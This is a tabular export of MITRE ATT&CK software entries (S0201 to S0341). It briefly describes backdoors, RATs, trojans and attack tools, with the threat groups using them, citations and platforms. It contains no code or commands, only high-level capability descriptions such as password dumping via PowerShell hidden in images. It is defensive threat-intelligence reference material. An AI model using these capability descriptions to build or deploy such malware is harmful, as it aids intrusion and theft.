S0201	4	Software	JPIN	[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)					Windows		https://attack.mitre.org/software/S0201
S0202	4	Software	adbupd	[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)					Windows		https://attack.mitre.org/software/S0202
S0203	4	Software	Hydraq	[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)					Windows		https://attack.mitre.org/software/S0203
S0204	4	Software	Briba	[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)					Windows		https://attack.mitre.org/software/S0204
S0205	4	Software	Naid	[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)					Windows		https://attack.mitre.org/software/S0205
S0206	4	Software	Wiarp	[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)					Windows		https://attack.mitre.org/software/S0206
S0207	4	Software	Vasport	[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)					Windows		https://attack.mitre.org/software/S0207
S0208	4	Software	Pasam	[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)					Windows		https://attack.mitre.org/software/S0208
S0209	4	Software	Darkmoon								https://attack.mitre.org/software/S0209
S0210	4	Software	Nerex	[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)					Windows		https://attack.mitre.org/software/S0210
S0211	4	Software	Linfo	[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)					Windows		https://attack.mitre.org/software/S0211
S0212	4	Software	CORALDECK	[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0212

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0213	4	Software	DOGCALL	[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0213
S0214	4	Software	HAPPYWORK	[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0214
S0215	4	Software	KARAE	[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0215
S0216	4	Software	POORAIM	[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0216
S0217	4	Software	SHUTTERSPEED	[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0217
S0218	4	Software	SLOWDRIFT	[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0218
S0219	4	Software	WINERACK	[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)					Windows		https://attack.mitre.org/software/S0219
S0220	4	Software	Chaos	[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)					Linux		https://attack.mitre.org/software/S0220
S0221	4	Software	Umbreon	A Linux rootkit that provides backdoor access and hides from defenders.					Linux		https://attack.mitre.org/software/S0221
S0222	4	Software	CCBkdr	[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)					Windows		https://attack.mitre.org/software/S0222
S0223	4	Software	POWERSTATS	[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)					Windows		https://attack.mitre.org/software/S0223
S0224	4	Software	Havij	[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)					Linux, Windows		https://attack.mitre.org/software/S0224
S0225	4	Software	sqlmap	[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)					Linux, Windows		https://attack.mitre.org/software/S0225
S0226	4	Software	Smoke Loader	[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)					Windows		https://attack.mitre.org/software/S0226
S0227	4	Software	spwebmember	[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)					Windows		https://attack.mitre.org/software/S0227
S0228	4	Software	NanHaiShu	[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)					Windows		https://attack.mitre.org/software/S0228
S0229	4	Software	Orz	[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)					Windows		https://attack.mitre.org/software/S0229
S0230	4	Software	ZeroT	[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)					Windows		https://attack.mitre.org/software/S0230
S0231	4	Software	Invoke-PSImage	[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)					Windows		https://attack.mitre.org/software/S0231
S0232	4	Software	HOMEFRY	[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)					Windows		https://attack.mitre.org/software/S0232
S0233	4	Software	MURKYTOP	[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)					Windows		https://attack.mitre.org/software/S0233
S0234	4	Software	Bandook	[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).					Windows		https://attack.mitre.org/software/S0234
S0235	4	Software	CrossRAT	[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.					Linux, Windows		https://attack.mitre.org/software/S0235
S0236	4	Software	Kwampirs	[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)					Windows		https://attack.mitre.org/software/S0236
S0237	4	Software	GravityRAT	[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)					Windows		https://attack.mitre.org/software/S0237
S0238	4	Software	Proxysvc	[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)					Windows		https://attack.mitre.org/software/S0238
S0239	4	Software	Bankshot	[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)					Windows		https://attack.mitre.org/software/S0239
S0240	4	Software	ROKRAT	[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)					Windows		https://attack.mitre.org/software/S0240

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0241	*4*	*Software*	*RATANKBA*	*[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)*					*Windows*		*https://attack.mitre.org/software/S0241*
S0242	*4*	*Software*	*SynAck*	*[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)*					*Windows*		*https://attack.mitre.org/software/S0242*
S0243	*4*	*Software*	*DealersChoice*	*[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)*					*Windows*		*https://attack.mitre.org/software/S0243*
S0244	*4*	*Software*	*Comnie*	*[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)*					*Windows*		*https://attack.mitre.org/software/S0244*
S0245	*4*	*Software*	*BADCALL*	*[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)*					*Windows*		*https://attack.mitre.org/software/S0245*
S0246	*4*	*Software*	*HARDRAIN*	*[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)*					*Windows*		*https://attack.mitre.org/software/S0246*
S0247	*4*	*Software*	*NavRAT*	*[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)*					*Windows*		*https://attack.mitre.org/software/S0247*
S0248	*4*	*Software*	*yty*	*[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)*					*Windows*		*https://attack.mitre.org/software/S0248*
S0249	*4*	*Software*	*Gold Dragon*	*[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)*					*Windows*		*https://attack.mitre.org/software/S0249*
S0250	*4*	*Software*	*Koadic*	*[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)*					*Windows*		*https://attack.mitre.org/software/S0250*
S0251	*4*	*Software*	*Zebrocy*	*[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)*					*Windows*		*https://attack.mitre.org/software/S0251*
S0252	*4*	*Software*	*Brave Prince*	*[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)*					*Windows*		*https://attack.mitre.org/software/S0252*
S0253	*4*	*Software*	*RunningRAT*	*[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)*					*Windows*		*https://attack.mitre.org/software/S0253*
S0254	*4*	*Software*	*PLAINTEE*	*[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)*					*Windows*		*https://attack.mitre.org/software/S0254*
S0255	*4*	*Software*	*DDKONG*	*[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)*					*Windows*		*https://attack.mitre.org/software/S0255*
S0256	*4*	*Software*	*Mosquito*	*[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)*					*Windows*		*https://attack.mitre.org/software/S0256*
S0257	*4*	*Software*	*VERMIN*	*[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)*					*Windows*		*https://attack.mitre.org/software/S0257*
S0258	*4*	*Software*	*RGDoor*	*[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)*					*Windows*		*https://attack.mitre.org/software/S0258*
S0259	*4*	*Software*	*InnaputRAT*	*[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim's machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)*					*Windows*		*https://attack.mitre.org/software/S0259*
S0260	*4*	*Software*	*InvisiMole*	*[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)*					*Windows*		*https://attack.mitre.org/software/S0260*
S0261	*4*	*Software*	*Catchamas*	*[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)*					*Windows*		*https://attack.mitre.org/software/S0261*
S0262	*4*	*Software*	*QuasarRAT*	*[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)*					*Windows*		*https://attack.mitre.org/software/S0262*
S0263	*4*	*Software*	*TYPEFRAME*	*[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)*					*Windows*		*https://attack.mitre.org/software/S0263*
S0264	*4*	*Software*	*OopsIE*	*[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)*					*Windows*		*https://attack.mitre.org/software/S0264*
S0265	*4*	*Software*	*Kazuar*	*[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)*					*Windows, macOS*		*https://attack.mitre.org/software/S0265*

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0266	4	Software	TrickBot	[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)					Windows		https://attack.mitre.org/software/S0266
S0267	4	Software	FELIXROOT	[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)					Windows		https://attack.mitre.org/software/S0267
S0268	4	Software	Bisonal	[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)					Windows		https://attack.mitre.org/software/S0268
S0269	4	Software	QUADAGENT	[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)					Windows		https://attack.mitre.org/software/S0269
S0270	4	Software	RogueRobin	[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)					Windows		https://attack.mitre.org/software/S0270
S0271	4	Software	KEYMARBLE	[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)					Windows		https://attack.mitre.org/software/S0271
S0272	4	Software	NDiskMonitor	[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)					Windows		https://attack.mitre.org/software/S0272
S0273	4	Software	Socksbot	[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)					Windows		https://attack.mitre.org/software/S0273
S0274	4	Software	Calisto	[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)					macOS		https://attack.mitre.org/software/S0274
S0275	4	Software	UPPERCUT	[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)					Windows		https://attack.mitre.org/software/S0275
S0276	4	Software	Keydnap	This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).					macOS		https://attack.mitre.org/software/S0276
S0277	4	Software	FruitFly	FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).					macOS		https://attack.mitre.org/software/S0277
S0278	4	Software	iKitten	[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).					macOS		https://attack.mitre.org/software/S0278
S0279	4	Software	Proton	[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).					macOS		https://attack.mitre.org/software/S0279
S0280	4	Software	MirageFox	[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)					Windows		https://attack.mitre.org/software/S0280
S0281	4	Software	Dok	[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).					macOS		https://attack.mitre.org/software/S0281
S0282	4	Software	MacSpy	[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).					macOS		https://attack.mitre.org/software/S0282
S0283	4	Software	jRAT	[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)					Linux, Windows		https://attack.mitre.org/software/S0283
S0284	4	Software	More_eggs	[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)					Windows		https://attack.mitre.org/software/S0284
S0302	4	Software	Twitoor	[Twitoor](https://attack.mitre.org/software/S0302) is an Android malware family that likely spreads by SMS or via malicious URLs. (Citation: ESET-Twitoor)					Android		https://attack.mitre.org/software/S0302
S0330	4	Software	Zeus Panda	[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)'s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)					Windows		https://attack.mitre.org/software/S0330
S0331	4	Software	Agent Tesla	[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)					Windows		https://attack.mitre.org/software/S0331
S0332	4	Software	Remcos	[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)					Windows		https://attack.mitre.org/software/S0332
S0333	4	Software	UBoatRAT	[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)					Windows		https://attack.mitre.org/software/S0333
S0334	4	Software	DarkComet	[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)					Windows		https://attack.mitre.org/software/S0334
S0335	4	Software	Carbon	[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)					Windows		https://attack.mitre.org/software/S0335
S0336	4	Software	NanoCore	[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)					Windows		https://attack.mitre.org/software/S0336
S0337	4	Software	BadPatch	[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)					Windows		https://attack.mitre.org/software/S0337
S0338	4	Software	Cobian RAT	[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)					Windows		https://attack.mitre.org/software/S0338
S0339	4	Software	Micropsia	[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)					Windows		https://attack.mitre.org/software/S0339
S0340	4	Software	Octopus	[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018)					Windows		https://attack.mitre.org/software/S0340
S0341	4	Software	Xbash	[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)					Windows, Linux		https://attack.mitre.org/software/S0341
